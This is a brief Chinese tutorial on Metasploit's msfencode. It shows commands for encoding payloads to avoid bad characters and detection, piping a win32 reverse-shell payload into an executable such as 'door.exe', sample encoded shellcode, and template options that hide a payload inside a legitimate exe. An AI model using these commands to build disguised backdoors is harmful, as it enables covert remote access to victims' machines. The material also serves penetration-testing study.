简单介绍一下msfencode的使用。
msfencode -t exe -c 5 > /root/Desktop/door.exe
msfencode -e x86/shikata_ga_nai -t raw -a x86 -b '\x00\x0a\x0d' -c 10 -o Temp17.exe -i
上面有raw参数,那什么是RAW数据?Payload生成了一什么样的数据格式?
RAW数据就是汇编Payload数据
msfencode使用关键
大多数文章中描绘了将msfpayload生成的原始数据传输给msfencode.即:
./msfpayload win32_reverser LHOST 本机IP R | msfencode -e ShiKata_ga_nai -t exe > 输出路径
那么通过”|”即管道符传递的到底是什么呢?
答案是ShellCode的16进制.
msfencode -h是帮助.比较清晰
生成一个先
用16进制编辑器写任意一段汇编放在一个文件中,我用cc.cc.
root@kali:/usr/share/framework2# ./msfencode -e Alpha2 -i cc.cc
[*] Using Msf::Encoder::Alpha2 with final size of 102 bytes
"\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x49\x49".
"\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x37\x51\x5a\x6a\x43".
"\x58\x50\x30\x41\x31\x42\x41\x6b\x42\x41\x53\x42\x32\x42\x41\x32".
"\x41\x41\x30\x41\x41\x58\x50\x38\x42\x42\x75\x6d\x39\x58\x4c\x48".
"\x4c\x5a\x6c\x7a\x6c\x78\x4c\x4a\x6c\x68\x4c\x38\x4c\x4a\x6c\x58".
"\x4c\x78\x4c\x38\x4c\x58\x4c\x38\x4c\x4a\x6c\x5a\x6c\x7a\x6c\x48".
"\x4c\x68\x4c\x6a\x6c\x43";
666,可以再试试别的模块.
模块众多
有九款编码器,666,我看到一款就震惊了.
看一下它们的模块
Alpha2 异或和跳转判断,简直完美
Countdown
模板文件的使用
通过参数,你可以直接将ShellCode编码到模板exe中.
-d 指定 exe模板搜索路径,
-k 设置生成的文件运行后的payload进程与模板文件进程分离。